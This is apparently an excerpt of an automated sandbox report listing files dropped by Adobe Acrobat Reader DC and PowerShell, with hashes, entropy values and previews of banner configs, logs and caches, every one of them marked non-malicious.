Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286778101020091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfYdPeUkwRe9:YvXKX2blcidjGg8Ukee9
MD5:	03B69E8B4A5057611667B9BD80E7C24E
SHA1:	E57A343775415D9D9E34FA74EDE82BC56C41478A
SHA-256:	EA5ECDB890F03C74A947CEEAC3AA692121A421B5EC44BF03B21B756DCFD0C28C
SHA-512:	5F5EC1E4D458FE5E730682192C926E9B8F2B138FADE2C1B6AB580A6D8694FC307AB1AC383A19C6456F17DC53F42E102DE133A7126B2AC6233B104139068803FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.273177047551806
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJf+dPeUkwRe9:YvXKX2blcidjG28Ukee9
MD5:	B3647AD5FBD634C2FFC782E6FFC354C2
SHA1:	6974837982917A320C503EDA2416CED407C7187E
SHA-256:	5D618D98A057651975F5B61875B2CFA63C4C5F7CD506D261BFCBDF6EA936E328
SHA-512:	8A550266419AD288693F0FF7AE8E7D33E798709795E235D73F511545157272F2A4D78D86196C625CC0C5D8D868D97CA77EF71E7BF8B170E685B99880B9232D92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2704160708518915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfbPtdPeUkwRe9:YvXKX2blcidjGDV8Ukee9
MD5:	89E110827BD2A036D22F1F7568BF4AC7
SHA1:	47B74A0FD7CA956CDBC8A3968E77A375B2A6D765
SHA-256:	ADF7DED4CC4586B46A8AC7AC13EA7683645A46BA59B6C4C38782CBF36291425C
SHA-512:	8D087DEE32EE996A48B03267203409864D360A1E3E797068A54A59119D5585EC5187F210C5E8DA3DBCA13CAE14DEEC02F7F668BE5B0BE4C3DC35E151333F923C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.273910245925614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJf21rPeUkwRe9:YvXKX2blcidjG+16Ukee9
MD5:	DD703AB6D179720B45E00BB5CD089AD2
SHA1:	0E944420B029ACDA6A81C9E33E84266E50F5FF31
SHA-256:	CA0F22812779F8DC69403405C7853B9ABCF39B4FED8F64BDD6393A66A508712F
SHA-512:	3DB7A44988B7B6DBBACFD692F06C2870ACBCBDFCAA42C30A041BFD69EE322297238BD4A0B493719E7AC22BA42337FCDD6FCEAB70584FAED6FE4C8C4F689A88E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659341443527
Encrypted:	false
SSDEEP:	24:Yv6X2OidMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2P:YvhdqBgkDMUJUAh8cvM2P
MD5:	44D5FAD4473CBACEDDAF7AFCAF76B459
SHA1:	ADFD77D045B2819F7F738B8571024F4FE9323189
SHA-256:	28B3B27D82B2A5F398B25FC8E837A44C2304B483170C017617F09C114E120070
SHA-512:	A0713C4E1771D5C4ACD8E80F452C75DC23D6CACA65AAF932AC7C5F9C5D3B73737CBEF617B42F7CEFAD291C147F22FD353115C857A991915C79680A6AC19D5FA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2499150266380985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfshHHrPeUkwRe9:YvXKX2blcidjGUUUkee9
MD5:	2D044141D1C14B616222328CD51A7C65
SHA1:	6C7DA03AF09F58BA0C22F3177C8F6A8DBB903FAF
SHA-256:	6E95F970E4F9B576EE3365EE7CB165DC2DB469F13765B324D595F8A5ED20F40A
SHA-512:	89D35D8B7961F44925DC710184F30C050ADF5578EB146350DE5B1A9C0D5FA322B84DA3945E2AC8FFC74E004E29C6EDF55FF094BB091AE5B6965E384548C87F64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.255112794949556
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJTqgFCrPeUkwRe9:YvXKX2blcidjGTq16Ukee9
MD5:	4D17A4867C6488FB00F3581910D4D739
SHA1:	9F25450EF26C5B815FB28C8193FF93359A019661
SHA-256:	C991A8868D15BFDC26B7200AE2FD9BEB36F7EFB009C0A8BF61CEA94B27B8BFBD
SHA-512:	6CB4CBE79EC612FDE942E8933CBAFBA4A9F8995D936E7AA02F873478C1AF612B97E2BE4EB3E44B687E8DC95755676C74D01FD5377F9B1CB27880D29A9C777EFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13461736694165
Encrypted:	false
SSDEEP:	48:YyMq3sKCcNxBYdTrPVvUd9u99diQccdyKbo95s1h9T3S4ENTF:fvx+bVgMFyKWQ/LS4kF
MD5:	587C9223454DD786630AC3122820BBB4
SHA1:	508B7769DF8AB167C30C2006FE000EE7B62E7638
SHA-256:	24B76CAA0E69F31F451E24A1A9B61EF824108E5C94C55B1B24E4735D97DB3B8A
SHA-512:	09DD959C9A3AEC4CDC184E39968291C8C49E6061FBEE0BB8635F159DC06F2B8BD90AEFED75EA6319768EDB174A1D41DC4C004A1917A6C89270BCB8E5654EDB60
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6ae26c646de01f3cabc5a83726a5293b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736555703000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6fc04b0adb9b692ff4590fe69bd41e01","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736555703000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8dc4555716b20b30b0a60282e9531dc1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736555703000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"18666f66f479416c76bcb3836b09a352","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736555703000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2cbcdee77d712b3a70735514fca18228","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736555703000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7cfb1d03bc9245deeda27fa9c751e2f2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465858044352422
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursBM2RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudL:TFl2GL7msBjXc+XcGNFlRYIX2v3k0F
MD5:	71B481973106463E64BCFE19768E7C63
SHA1:	B67AA408E638BA74593416E1F5B2D118E8EDDE32
SHA-256:	E5E79B4D165598EDD177D0C2E7F1A50CFE6AE7E0055B5704D106EF68F370688B
SHA-512:	5D5E1E621BD3FC5BF8D89673BB9728D8EC4A711435D52FCBEA0EF69593FACFCD11591B211FB52542CFC9C8FE73509289FCF04395616D2D969DB5276EAB0C182A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5500341177968533
Encrypted:	false
SSDEEP:	24:7+tcM2UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxNqLxx/XYa:7McUXc+XcGNFlRYIX2vAqVl2GL7msD
MD5:	17C798CCE8F1760E428AE7F66DD845EB
SHA1:	76615B5E523E9BD42CBB9124214332CF22089B37
SHA-256:	B59B3C5AC19401AD59FD6DF8FDE7BEF0FD61AB6280C330D2B1F827977CD6FED3
SHA-512:	9E3E410C91F4F0678EDA312E1BB857F3B674131F4283D587D6CC77AE66F79D4A359B9BEB3EA714701A647F757DA14455013E964AAB264FD0947DED3C164EDE6D
Malicious:	false
Preview:	.... .c......66...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgl+ewEc5IUuBqnZX+d3tYL8NlYyu:6a6TZ44ADEl+Uc5FQqZOd3hK
MD5:	8A842084018DC6E607F96A7F2C5EEA72
SHA1:	211B7AA0702C67C47080379B17E590C28C0717CA
SHA-256:	E316242F10F61AA32A501EB481378B7817712BA5596727674A26C88498008910
SHA-512:	4589AE053F9AC888B418CEE796E3365919E9E7F4BE20A274637F945C8A0AFCFC405C7F90524297D2C90084868470CD71E59250710957A7C09A61C8D5C3B7F2B4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI3c62c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEIR:Qw946cPbiOxDlbYnuRK+bDy
MD5:	55C8C98C07BA68DB9F748425CB935F6A
SHA1:	07BB91EB95277297635437906FFF3B0736872839
SHA-256:	BAA38C924EBE5E16DDF0B4AA3A004B4F5C17AD6D1B9485C3AD38A79A622E12EB
SHA-512:	11B0687910860D99CC1A489175B04FB61BB9C36DD784AB0B8CD611AB3906CC48AB7660258BBC34D789594B0EB2E4AE5A4C2D006B56A22A86880B06B0C96BAE0D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.3.5.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dsmcpazj.x15.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rh5eb4jb.x3q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-34-59-006.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3577738600746265
Encrypted:	false
SSDEEP:	384:wzfafPtwLRCKXAdsdMnS8lb9V1ONIUtZ0uRV5fD/1fbFaYQZFFyZ07k76GQ2W5w5:AroA
MD5:	D4F39A488724C24603FBABB6293AD588
SHA1:	42873B129BA16724CF88CB83FA9CEE5E3488E665
SHA-256:	C331CF1F9C87FA861DAF0653D181A5C7791A5700EC2E1BB1DC7A9A4C109263A4
SHA-512:	CC5E22C766BBF058DDACEB71C201E409AC3FAF81B8E2FB6FA0D3B7337661C4A20DBD339054E9926026904B1B05CB082B16F2387A950C428F4204EA91E26243CC
Malicious:	false
Preview:	SessionID=be126bf1-0782-4e96-8291-6b7b411486d1.1736555699032 Timestamp=2025-01-10T19:34:59:032-0500 ThreadID=7352 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=be126bf1-0782-4e96-8291-6b7b411486d1.1736555699032 Timestamp=2025-01-10T19:34:59:033-0500 ThreadID=7352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=be126bf1-0782-4e96-8291-6b7b411486d1.1736555699032 Timestamp=2025-01-10T19:34:59:033-0500 ThreadID=7352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=be126bf1-0782-4e96-8291-6b7b411486d1.1736555699032 Timestamp=2025-01-10T19:34:59:033-0500 ThreadID=7352 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=be126bf1-0782-4e96-8291-6b7b411486d1.1736555699032 Timestamp=2025-01-10T19:34:59:033-0500 ThreadID=7352 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400432695342128
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbE3cbAI6qcb9:V3fOCIdJDeaC6N
MD5:	57ED624AFD25F7D87803290D0706062F
SHA1:	652F8EC141FE38E9A7F8704667A9E65B3D49D211
SHA-256:	DCA1FBABC95433A0482F58C8F87E6232B78271FD054F2E0831ACA113039A9C99
SHA-512:	2983498657A2D9020FD75866920CA4D5A258E9E6DCB5F78252F80E21F4AE826A7A33BFA500B9348AE7A2F8D905EB8669E1897C5E199F8063D36A6E46A13A811E
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7e929aaa-8e23-4ce9-9229-98288d0003f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8ec79278-950c-43cd-901f-326a2a2b35c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
